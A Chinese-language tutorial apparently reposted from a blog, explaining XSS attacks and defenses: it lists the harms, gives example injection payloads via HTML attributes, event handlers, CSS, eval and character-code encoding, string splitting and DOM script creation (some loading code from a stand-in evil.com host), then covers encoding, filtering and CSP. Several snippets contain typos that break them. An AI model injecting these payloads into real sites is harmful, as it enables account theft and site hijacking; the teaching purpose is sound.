1. 程式人生 > >Web前端安全——XSS攻擊與防禦

Web前端安全——XSS攻擊與防禦

跨站指令碼攻擊簡稱 XSS (Cross-Site Scriptting),是一種經常出現在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。

XSS攻擊的危害:

1、盜取各類使用者帳號許可權(控制所盜竊許可權資料內容),如機器登入帳號、使用者網銀帳號、各類管理員帳號

2、控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力

3、基於XSS的跨站業務請求(如:非法轉賬、非法下單、非法轉載/發表內容、傳送電子郵件、利用管理員身份提權掛馬、控制受害者機器向其它網站發起攻擊等)

4、形成持久化APT攻擊,長期控制網站業務中樞

5、利用跨站業務形成蠕蟲病毒式傳播

6、劫持網站,劫持後可用於釣魚、偽裝、跳轉、掛廣告等,屬掛馬型別

XSS攻擊注入方式與示例:

  • 通過html屬性構造(src、lowsrc、dynsrc、href、bgsound、action、background……)
    示例:
<img src = "javascript:alert(/xss/)" width = 100>
  • 通過html屬性事件構造(onerror, onclick、onmounseover……)
    示例:
1. <img src = "#" onerror = alert(/xss/)>
2. <div onclick = alert(/xss/
)></div>
  • 通過css構造(background-img: url、expression、link-href、@import)
    示例:
1. <div style = "background-img: url(javascript:alert

(/xss/));width:exprssion(alert('xss'));"></div>
2. <style>body{background-img: url("javascript:alert('xss')")}</style>
3. <link rel = "stylesheet
" href="http://www.evil.com/attack.css">
4. <style>@import "javascript:alert('xss')"</style>
  • 通過JavaScript構造(eval()函式)、ASCII編碼
    示例:
1. <script>eval("alert('xss')")</script>
2. <img src = "javascript:eval(String.fromChartCode

(97,108,101,114,116,40,39,88,83,83,39,41))">
  • 基於DOM(常用於有字數限制的輸入框)
    示例:
字串拼接:
<script>a='document.'</script>
<script>a=a+'write("'</script>
<script>a=a+'alert('</script>
<script>a=a+'/xss/)'</script>
<script>a=a+'")'</script>
<script>eval(a)</script>
  • 基於DOM型建立節點(建立document.write()、node.innerHTML、document.createElement……)
    示例:
 1. var b = document.createElement("script");
    b.src = "http://www/evil.com/xss.js";
 2. document.getElementsByTagName("head")[0].appendChild(z);

防禦措施:
- 避免使用客戶端資料,儘量服務端生成
- JavaScript變數輸出時先編碼
- XSS過濾(js-xss, http://jsxss.com
- CSP(Content Security Policy)

說明:CSP:通過在http響應頭中加入相關指令告知瀏覽器,被保護頁面僅允許載入和執行指令中限制的內容,不滿足的資源與內容不執行或被客戶端阻斷。詳見:https://content-security-policy.com